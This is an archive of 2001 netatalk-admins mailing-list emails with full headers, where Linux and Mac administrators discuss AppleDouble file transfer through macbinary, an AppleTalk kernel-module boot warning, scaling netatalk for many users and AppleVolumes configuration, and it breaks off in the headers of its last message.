Received: from brandeis.edu (h00a04b0c2aa5.ne.mediaone.net [24.218.255.161])
	by clavin2.unet.brandeis.edu (8.9.3/8.9.3/UNet1.9) with ESMTP id SAA05722
	for <netatalk-admins@umich.edu>; Tue, 20 Feb 2001 18:41:32 -0500
Sender: karelsf@brandeis.edu
Message-ID: <3A93012E.4E9C8AE6@brandeis.edu>
Date: Tue, 20 Feb 2001 18:43:42 -0500
From: Steven Karel <karelsf@brandeis.edu>
Reply-To: karelsf@brandeis.edu
Organization: Brandeis University
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.1 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Re: Wrapping MIME around an appledouble file
References: <2195.982256845@deepeddy.com> <14989.24215.245217.659577@h0050da615e79.ne.mediaone.net> <823.982710329@deepeddy.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Why not just have perl call macbinary (part of the netatalk package) and
then transmit the resulting file?

macbinary somefile
then return somefile.bin

This is the standard thing that Mac FTP clients do.

see

man macbinary

steven

Chris Garrigues wrote:
> 
> > From:  Bob Rogers <rogers-netatalk@rgrjr.dyndns.org>
> > Date:  Fri, 16 Feb 2001 12:08:39 -0500
> >
> >    From: "Chris Garrigues" <cwg-dated-e7ea9493218076d8@deepeddy.com>
> >    Date: Thu, 15 Feb 2001 11:07:25 -0600
> >
> >    I need to grab a file saved on a server using netatalk from a perl CGI and
> >    transmit it to the user.
> >
> >    So far, all my attempts do is to crash netscape with an error of type
> >    3.  This makes it kinda hard to debug.
> >
> >    Has anybody done this?  Is there anything special I have to do to the data?
> >
> > My guess is that the .AppleDouble part is blowing Netscape's poor little
> > mind, since it is actually binary data rather than 8-bit text.  I would
> > try sending it using base64 encoding; you can pipe it through the
> > attached helper app, courtesy of the vm mail reader (version 6.89,
> > (http://www.wonderworks.com/vm).
> >
> >    Deciding how to encode the data fork might be trickier . . . base64
> > should be sufficient, though probably overkill in many cases.
> >
> >    And then there's the problem of saving these properly on the
> > receiving end.  Has anybody ever heard of a MIME standard for Mac files?
> > Failing that, you might want to try sending a Mac file from a Mac, and
> > see how Netscape (or whatever) encodes the data fork (if at all).  If it
> > does, and the format is not too hard to generate, that might be a better
> > solution.
> 
> Nice thought, but it turns out that HTTP explicitly does not support
> content-transfer-encoding and assumes 8 bit data.  When I changed it to
> base64, the mac browser simply froze.
> 
> When I tried to transfer an ordinary file with a content-transfer-encoding:
> base64 to my unix box, it simply ignored the content-transfer-encoding as one
> would expect from what I said above.
> 
> So, I'm still stuck at the same point.  Any other theories why Nutscrape
> doesn't like what I'm doing.
> 
> I'm beginning to wonder if multipart/appledouble is even supported at all.  Do
> any of the Mac based web servers allow the download of mac files, and if so
> what mime type do they use?
> 
> How would i convert these two parts into an applesingle file so I could try
> sending them that way.
>

From netatalk.administrators-errors@umich.edu  Wed Feb 21 04:52:30 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA06628
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 21 Feb 2001 04:52:30 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA00342
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 21 Feb 2001 04:52:29 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA00330
	for netatalk.administrators-members@umich.edu; Wed, 21 Feb 2001 04:52:29 -0500 (EST)
Received: from specialreserve.net (www3.reserve.co.uk [195.216.17.3])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id EAA00306
	for <netatalk-admins@umich.edu>; Wed, 21 Feb 2001 04:52:28 -0500 (EST)
Received: from [192.168.1.57] (195.216.17.40) by specialreserve.net with ESMTP
 (Eudora Internet Mail Server 2.2.2); Wed, 21 Feb 2001 09:52:29 +0000
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Wed, 21 Feb 2001 09:52:21 +0000
Subject: Re: Warning at Startup
From: Basil Hussain <basil.hussain@specialreserve.net>
To: <Steve_Kreuzer@condenast.com>, <netatalk-admins@umich.edu>
Message-ID: <B6B94055.40DA%basil.hussain@specialreserve.net>
In-Reply-To: <852569F9.006F1AEA.00@Beethoven.condenast.com>
Mime-version: 1.0
Organization: Inter-Mediates Ltd.
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hi,

> I recently installed version 1.5pre3 and it seems to be working OK. However,
> when I boot up my machine (Red Hat 7.0) I get an warning (perhaps error)
> "kmem-grow: called nonatomically from init - size -32"
> this message appears multiple times and finally I get the [OK] and then
> everything appears to be working fine?

I have experienced just the same thing. I bet you're running kernel
2.2.16-22 - if so, the blame lies solely at the feet of the AppleTalk kernel
module (AppleTalk.o), which contains a slight programming mistake. It's
nothing to do with Netatalk.

If you read the bug report I filed with RedHat, it'll explain further:

https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=25379

In particular, check the link to the kernel development mailing list thread.
That shows the precise problem (and a patch). RedHat have recently brought
out a new kernel package (2.2.17) that may solve the problem, but no-one
there has confirmed this to me yet.

> any idea what this is, and should i be worried?

I wouldn't worry about it. My servers have been running with this warning
for over a month now, with no adverse effects. No crashes, hangups, etc. -
nothing.

Regards,

------------------------------------------------
Basil Hussain (basil.hussain@specialreserve.net)


From netatalk.administrators-errors@umich.edu  Wed Feb 21 04:59:28 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA06705
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 21 Feb 2001 04:59:27 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA02077
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 21 Feb 2001 04:59:27 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA02063
	for netatalk.administrators-members@umich.edu; Wed, 21 Feb 2001 04:59:27 -0500 (EST)
Received: from mhp_nt1.hopkins.co.uk (mailgate.hopkins.co.uk [194.159.148.2])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id EAA02000
	for <netatalk-admins@umich.edu>; Wed, 21 Feb 2001 04:59:25 -0500 (EST)
Received: from 194.159.148.247 (no-dns-yet.demon.co.uk [194.159.148.247]) by mhp_nt1.hopkins.co.uk with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0)
	id FBW180NT; Wed, 21 Feb 2001 09:57:49 -0000
Date: Wed, 21 Feb 2001 09:53:37 +0000
From: Rory Campbell-Lange <rory@campbell-lange.net>
Subject: Re: Netatalk ok, reliable for large no of users?
To: Ryan McBeth <ryan@mobiusnm.com>
cc: netatalk-admins@umich.edu
X-Priority: 3
In-Reply-To: <v04210103b6b86f967a6d@[216.155.36.73]>
Message-ID: <20010221100049-r01010600-400b02ed@194.159.148.247>
MIME-Version: 1.0
Content-Type: text/plain; Charset=US-ASCII
X-Mailer: Mailsmith 1.1.6 (Bluto)

Hi Ryan

Thanks for your valuable comment. I suppose my main concern presently has
to do with AoIP versus plain Appletalk. If netatalk gives us the ability to
do AoIP (which NT4 doesn't) and this has some significant speed increases,
we'd be pretty interested.

How many people use the netatalk serving in your environment?

Cheers;
Rory

On 20/2/01, ryan@mobiusnm.com (Ryan McBeth) wrote:

>   I hate to put on a flame-proof suit, but I might stay with NT 
> in your situation.  As a web publishing house, we need the 
> virtual-hosting capabilities of Linux and Apache.  Netatalk allows 
> our artists to archive and publish right to the Apache server, things 
> that we can't really do with IIS/NT.   However, if NT is working for 
> you now, maybe you should stick with it.
> You'll never find a more pro-linux person than me, but if NT is 
> working, and working well in your situation, it might be better to 
> get a second NT machine, network mount the drive through the first 
> machine, and keep on working.
--
	Rory Campbell-Lange
	The Campbell-Lange Workshop
	London

From netatalk.administrators-errors@umich.edu  Wed Feb 21 04:59:28 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA06707
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 21 Feb 2001 04:59:28 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA02078
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 21 Feb 2001 04:59:28 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA02060
	for netatalk.administrators-members@umich.edu; Wed, 21 Feb 2001 04:59:27 -0500 (EST)
Received: from mhp_nt1.hopkins.co.uk (mailgate.hopkins.co.uk [194.159.148.2])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id EAA02009
	for <netatalk-admins@umich.edu>; Wed, 21 Feb 2001 04:59:25 -0500 (EST)
Received: from 194.159.148.247 (no-dns-yet.demon.co.uk [194.159.148.247]) by mhp_nt1.hopkins.co.uk with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0)
	id FBW180NV; Wed, 21 Feb 2001 09:57:49 -0000
Date: Wed, 21 Feb 2001 09:54:30 +0000
From: Rory Campbell-Lange <rory@campbell-lange.net>
Subject: Re: Netatalk ok, reliable for large no of users?
To: Matthew Keller <kellermg@potsdam.edu>
cc: netatalk-admins@umich.edu
X-Priority: 3
In-Reply-To: <3A92BA7F.EDF9F986@potsdam.edu>
Message-ID: <20010221100051-r01010600-67478dfb@194.159.148.247>
MIME-Version: 1.0
Content-Type: text/plain; Charset=US-ASCII
X-Mailer: Mailsmith 1.1.6 (Bluto)

On 20/2/01, kellermg@potsdam.edu (Matthew Keller) wrote:

> Rory Campbell-Lange wrote:
> > Is netatalk/Linux a viable alternative to NT4/Windows 2000 for
> > file serving for about 120 Mac users?
> 
> Piece of cake- Just don't be skimpy on the fast disks or RAM. :) One
> possible problem (but not always): If multiple users have the same
> exact file open on a Netalk server- Depending how the program deals
> with locking, you may get file corruption problems. This is easily
> tested by, quite simply, throwing such a file on a Netatalk server,
> and have a couple people do whatever it is they do at the same time,
> and see what breaks (or doesn't).

Thanks for the note, Matthew

How many users use netatalk in your environment?

Cheers;
Rory
--
	Rory Campbell-Lange
	The Campbell-Lange Workshop
	London

From netatalk.administrators-errors@umich.edu  Wed Feb 21 08:08:15 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA09434
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 21 Feb 2001 08:08:14 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA08249
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 21 Feb 2001 08:08:14 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA08215
	for netatalk.administrators-members@umich.edu; Wed, 21 Feb 2001 08:08:13 -0500 (EST)
Received: from univrel.pr.uconn.edu (univrel.pr.uconn.edu [137.99.59.30])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA08177
	for <netatalk-admins@umich.edu>; Wed, 21 Feb 2001 08:08:12 -0500 (EST)
Received: from univrel.pr.uconn.edu (root@test.pr.uconn.edu [137.99.59.90])
	by univrel.pr.uconn.edu (8.8.7/8.8.7) with ESMTP id IAA12466;
	Wed, 21 Feb 2001 08:08:10 -0500
Sender: root@univrel.pr.uconn.edu
Message-ID: <3A93BD37.142CBA20@univrel.pr.uconn.edu>
Date: Wed, 21 Feb 2001 08:05:59 -0500
From: jeff <jeff@univrel.pr.uconn.edu>
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.4.0-0.14mdk i686)
X-Accept-Language: en
MIME-Version: 1.0
To: "Bruce A. Burdick, Jr." <bucky@interaccess.com>
CC: netatalk-admins@umich.edu
Subject: Re: AppleVolumes.system
References: <B6B83864.1196D%bucky@interaccess.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

"Bruce A. Burdick, Jr." wrote:
> 
> type  creator
> TEXT  DmWr
> 
> And here's the contents of a DreamWeaver Extensions.txt file:
> 
>   HTM,HTML,ASP,CFM,CFML,TXT,SHTM,SHTML,STM,INC,PHP,PHP3,LASSO,XML:All
> Documents
>   HTM,HTML:HTML Documents
>   SHTM,SHTML,STM,INC:Server-Side Includes
>   XML:XML Files
>   LBI:Library Files
>   DWT:Template Files
>   CSS:Style Sheets
>   ASP:Active Server Pages
>   CFM,CFML:Cold Fusion Templates
>   TXT:Text Files
>   PHP,PHP3:PHP Files
>   LASSO:Lasso Files

I just added the .dwt extension with type/creator association to
AppleVolumes.system in the CVS tree, since it is the only extension that
is not used for any other application, so far as I know, anyway.

jeff

From netatalk.administrators-errors@umich.edu  Wed Feb 21 08:21:44 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA09735
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 21 Feb 2001 08:21:44 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA00765
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 21 Feb 2001 08:21:44 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA00747
	for netatalk.administrators-members@umich.edu; Wed, 21 Feb 2001 08:21:43 -0500 (EST)
Received: from woj.com (brilliantmovies.com [64.69.72.50])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA00699
	for <netatalk-admins@umich.edu>; Wed, 21 Feb 2001 08:21:42 -0500 (EST)
Received: from [10.0.1.32] (00-30-65-2e-60-6b.bconnected.net [209.53.45.201])
	by woj.com (8.9.3/8.9.3) with ESMTP id FAA09621
	for <netatalk-admins@umich.edu>; Wed, 21 Feb 2001 05:22:41 -0800
User-Agent: Microsoft-Entourage/9.0.2509
Date: Wed, 21 Feb 2001 05:21:04 -0800
Subject: server_child exit
From: Ian Wojtowicz <i@woj.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B6B900C0.7020%i@woj.com>
In-Reply-To: <Pine.LNX.4.21.0102181049470.740-100000@heretic.mabaleb.org>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

My netatalk session closes down unexpectedly whenever I try reading or
transferring files. The /var/log/messages file indicates the following:

Feb 21 01:00:31 home afpd[8749]: 66.00KB read, 200.70KB written
Feb 21 01:00:31 home afpd[7147]: server_child[1] 8749 exited 1

Any ideas? Could this be a DNS issue of some kind?

___________________________________________________________________________
ian wojtowicz                                                http://woj.com


From netatalk.administrators-errors@umich.edu  Wed Feb 21 09:22:34 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA10938
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 21 Feb 2001 09:22:34 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA10291
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 21 Feb 2001 09:22:34 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA10258
	for netatalk.administrators-members@umich.edu; Wed, 21 Feb 2001 09:22:33 -0500 (EST)
Received: from potsdam.edu (potsdam.edu [137.143.110.101])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id JAA10222
	for <netatalk-admins@umich.edu>; Wed, 21 Feb 2001 09:22:32 -0500 (EST)
Received: (qmail 18721 invoked by alias); 21 Feb 2001 14:22:39 -0000
Received: (qmail 18707 invoked by uid 0); 21 Feb 2001 14:22:38 -0000
Received: from comp10574.potsdam.edu (HELO potsdam.edu) (137.143.111.133)
  by potsdam.edu with SMTP; 21 Feb 2001 14:22:38 -0000
Message-ID: <3A93CFB1.9BC3BC35@potsdam.edu>
Date: Wed, 21 Feb 2001 09:24:49 -0500
From: Matthew Keller <kellermg@potsdam.edu>
X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Rory Campbell-Lange <rory@campbell-lange.net>,
        Netatalk Admins <netatalk-admins@umich.edu>
Subject: Re: Netatalk ok, reliable for large no of users?
References: <20010221100051-r01010600-67478dfb@194.159.148.247>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Rory Campbell-Lange wrote:
> Thanks for the note, Matthew
> 
> How many users use netatalk in your environment?

	Varies- Here at the college we have as many as 220 simultaneous
Netatalk sessions to an aging box that is slated for replacement very
soon (it originally served about 10 simultaneous Netatalk sessions).
This box also runs Samba to share the same folders up for Windows users.
	I have a client who make much more robust use of Netatalk- They have
about 450 concurrent Netatalk sessions to their cluster (4 nodes, ASIP
(AoIP) only). They toss around gigabyte files over gig ethernet like
they were candy (DV Production/PostProduction and CG movie shorts).
	I have several other clients who use Netatalk less than the college
does as far as simultaneous session.
-- 

 Matthew Keller
 WebMaster, Interim Network Manager & 
   Host Systems Analyst
 Computing & Technology Services
 Information Services Division
 State University of New York at Potsdam
 
 Website: http://mattwork.potsdam.edu/
 PGP: http://mattwork.potsdam.edu/crypto/

From netatalk.administrators-errors@umich.edu  Wed Feb 21 10:24:32 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA12436
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 21 Feb 2001 10:24:32 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA23201
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 21 Feb 2001 10:24:32 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA23159
	for netatalk.administrators-members@umich.edu; Wed, 21 Feb 2001 10:24:30 -0500 (EST)
Received: from austin-jump.vircio.com ([216.30.106.234])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id KAA23100
	for <netatalk-admins@umich.edu>; Wed, 21 Feb 2001 10:24:28 -0500 (EST)
Received: (qmail 31627 invoked by uid 104); 21 Feb 2001 15:24:28 -0000
Received: from cwg-dated-ed508a7ccda70071@deepeddy.com by austin-jump.vircio.com with qmail-scanner-0.90 (uvscan: v4.0.50/v4115. . Clean. Processed in 0.625027 secs); 21/02/2001 09:24:27
Received: from deepeddy-austin.deepeddy.com (HELO deepeddy.vircio.com) ([10.254.254.253]) (envelope-sender <cwg-dated-ed508a7ccda70071@deepeddy.com>)
          by funinacapulco.mr.itd.umich.edu (qmail-ldap-1.03) with SMTP
          for <netatalk-admins@umich.edu>; 21 Feb 2001 15:24:27 -0000
Received: (qmail 18363 invoked by alias); 21 Feb 2001 15:24:26 -0000
From: "Chris Garrigues" <cwg-dated-ed508a7ccda70071@deepeddy.com>
Received: (qmail 18342 invoked from network); 21 Feb 2001 15:24:26 -0000
Received: from deepeddy.vircio.com (HELO deepeddy.com) (cwg@[10.1.2.1]) (envelope-sender <cwg@deepeddy.com>) by deepeddy.vircio.com (qmail-ldap-1.03) with SMTP for <karelsf@brandeis.edu@fixme>; 21 Feb 2001 15:24:26 -0000
X-Mailer: exmh version 2.2_20000822 06/23/2000 with nmh-1.0.4
To: karelsf@brandeis.edu
Cc: netatalk-admins@umich.edu
Subject: Re: Wrapping MIME around an appledouble file 
In-Reply-To: <3A93012E.4E9C8AE6@brandeis.edu> 
References: <2195.982256845@deepeddy.com> <14989.24215.245217.659577@h0050da615e79.ne.mediaone.net> <823.982710329@deepeddy.com> <3A93012E.4E9C8AE6@brandeis.edu>
X-Url: http://www.DeepEddy.Com/~cwg
X-Image-Url: http://www.DeepEddy.Com/~cwg/chris.gif
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="==_Exmh_-449148757P"; micalg=pgp-sha1; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7bit
Date: Wed, 21 Feb 2001 09:24:25 -0600
Message-ID: <18338.982769065@deepeddy.com>
Mail-Reply-To: cwg-dated-ed508a7ccda70071@DeepEddy.Com

--==_Exmh_-449148757P
Content-Type: text/plain; charset=us-ascii

> From:  Steven Karel <karelsf@brandeis.edu>
> Date:  Tue, 20 Feb 2001 18:43:42 -0500
>
> Why not just have perl call macbinary (part of the netatalk package) and
> then transmit the resulting file?
> 
> macbinary somefile
> then return somefile.bin
> 
> This is the standard thing that Mac FTP clients do.
> 
> see
> 
> man macbinary

That worked.  Thanks.  Annoyingly, the RPM didn't include the macbinary alias.

Also, it would have been nice if macbinary could have sent it's output to 
stdout, but anyway, my problem is solved.

Chris

-- 
Chris Garrigues                 http://www.DeepEddy.Com/~cwg/
virCIO                          http://www.virCIO.Com
4314 Avenue C                   
Austin, TX  78751-3709		+1 512 374 0500

  My email address is an experiment in SPAM elimination.  For an
  explanation of what we're doing, see http://www.DeepEddy.Com/tms.html 

    Nobody ever got fired for buying Microsoft,
      but they could get fired for relying on Microsoft.



--==_Exmh_-449148757P
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.4 (GNU/Linux)
Comment: Exmh version 2.2_20000822 06/23/2000

iD8DBQE6k92pK9b4h5R0IUIRAjdMAJ9WvYOzwy7IPOt8tMXNON7+Pi2BkwCfdgQF
4mlAW3MGIvE+QUUjto8Q9dI=
=J6yb
-----END PGP SIGNATURE-----

--==_Exmh_-449148757P--

From netatalk.administrators-errors@umich.edu  Wed Feb 21 11:04:12 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA13858
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 21 Feb 2001 11:04:12 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA28910
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 21 Feb 2001 11:04:11 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA28882
	for netatalk.administrators-members@umich.edu; Wed, 21 Feb 2001 11:04:10 -0500 (EST)
Received: from rgrjr.dyndns.org (h0050da615e79.ne.mediaone.net [24.218.161.12])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id LAA28718
	for <netatalk-admins@umich.edu>; Wed, 21 Feb 2001 11:04:04 -0500 (EST)
Received: (qmail 8435 invoked by uid 500); 21 Feb 2001 16:03:53 -0000
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <14995.59111.898580.495649@h0050da615e79.ne.mediaone.net>
Date: Wed, 21 Feb 2001 11:03:51 -0500
From: Bob Rogers <rogers-netatalk@rgrjr.dyndns.org>
To: Basil Hussain <basil.hussain@specialreserve.net>,
        <Steve_Kreuzer@condenast.com>
Cc: <netatalk-admins@umich.edu>
Subject: Re: Warning at Startup
In-Reply-To: <B6B94055.40DA%basil.hussain@specialreserve.net>
References: <852569F9.006F1AEA.00@Beethoven.condenast.com>
	<B6B94055.40DA%basil.hussain@specialreserve.net>
X-Mailer: VM 6.89 under Emacs 20.7.1

   From: Basil Hussain <basil.hussain@specialreserve.net>
   Date: Wed, 21 Feb 2001 09:52:21 +0000

   I have experienced just the same thing. I bet you're running kernel
   2.2.16-22 - if so, the blame lies solely at the feet of the AppleTalk kernel
   module (AppleTalk.o), which contains a slight programming mistake. It's
   nothing to do with Netatalk.

   If you read the bug report I filed with RedHat, it'll explain further:

   https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=25379

   In particular, check the link to the kernel development mailing list thread.
   That shows the precise problem (and a patch). RedHat have recently brought
   out a new kernel package (2.2.17) that may solve the problem, but no-one
   there has confirmed this to me yet.

I didn't see this "kmem-grow: called nonatomically" thing when I
installed the Red Hat 2.2.17 upgrade recently.  But then, I never saw it
on 2.2.16 (but I was running 2.2.16-3, so that may have been before the
bug was introduced).

					-- Bob Rogers

From netatalk.administrators-errors@umich.edu  Wed Feb 21 11:08:36 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA14116
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 21 Feb 2001 11:08:36 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA02924
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 21 Feb 2001 11:08:30 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA02901
	for netatalk.administrators-members@umich.edu; Wed, 21 Feb 2001 11:08:29 -0500 (EST)
Received: from rgrjr.dyndns.org (h0050da615e79.ne.mediaone.net [24.218.161.12])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id LAA02762
	for <netatalk-admins@umich.edu>; Wed, 21 Feb 2001 11:08:24 -0500 (EST)
Received: (qmail 8456 invoked by uid 500); 21 Feb 2001 16:08:28 -0000
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <14995.59388.601650.965430@h0050da615e79.ne.mediaone.net>
Date: Wed, 21 Feb 2001 11:08:28 -0500
From: Bob Rogers <rogers-netatalk@rgrjr.dyndns.org>
To: "Chris Garrigues" <cwg-dated-31581d2f1b515f68@deepeddy.com>
Cc: netatalk-admins@umich.edu
Subject: Re: Wrapping MIME around an appledouble file 
In-Reply-To: <823.982710329@deepeddy.com>
References: <2195.982256845@deepeddy.com>
	<14989.24215.245217.659577@h0050da615e79.ne.mediaone.net>
	<823.982710329@deepeddy.com>
X-Mailer: VM 6.89 under Emacs 20.7.1

   From: "Chris Garrigues" <cwg-dated-31581d2f1b515f68@deepeddy.com>
   Date: Tue, 20 Feb 2001 17:05:29 -0600

   Nice thought, but it turns out that HTTP explicitly does not support 
   content-transfer-encoding and assumes 8 bit data . . .

Oops; I assumed you were mailing it (though you did say "CGI").  Glad to
hear the other technique worked out.

					-- Bob

From netatalk.administrators-errors@umich.edu  Wed Feb 21 11:29:47 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA15119
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 21 Feb 2001 11:29:47 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA11401
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 21 Feb 2001 11:29:47 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA11374
	for netatalk.administrators-members@umich.edu; Wed, 21 Feb 2001 11:29:46 -0500 (EST)
Received: from mailbox2.ucsd.edu (mailbox2.ucsd.edu [132.239.1.54])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA11309
	for <netatalk-admins@umich.edu>; Wed, 21 Feb 2001 11:29:44 -0500 (EST)
Received: from smtp.ucsd.edu (smtp.ucsd.edu [132.239.1.49])
	by mailbox2.ucsd.edu (8.11.0/8.11.0) with ESMTP id f1LGU6K16177
	for <netatalk-admins@umich.edu>; Wed, 21 Feb 2001 08:30:06 -0800 (PST)
Received: from gghosh.ucsd.edu (cheghosh6.ucsd.edu [132.239.156.73])
	by smtp.ucsd.edu (8.9.3/8.9.3) with ESMTP id IAA07426
	for <netatalk-admins@umich.edu>; Wed, 21 Feb 2001 08:29:43 -0800 (PST)
Received: from [132.239.156.79] (account <ddrew@gghosh.ucsd.edu>)
  by gghosh.ucsd.edu (CommuniGate Pro WebUser 3.3)
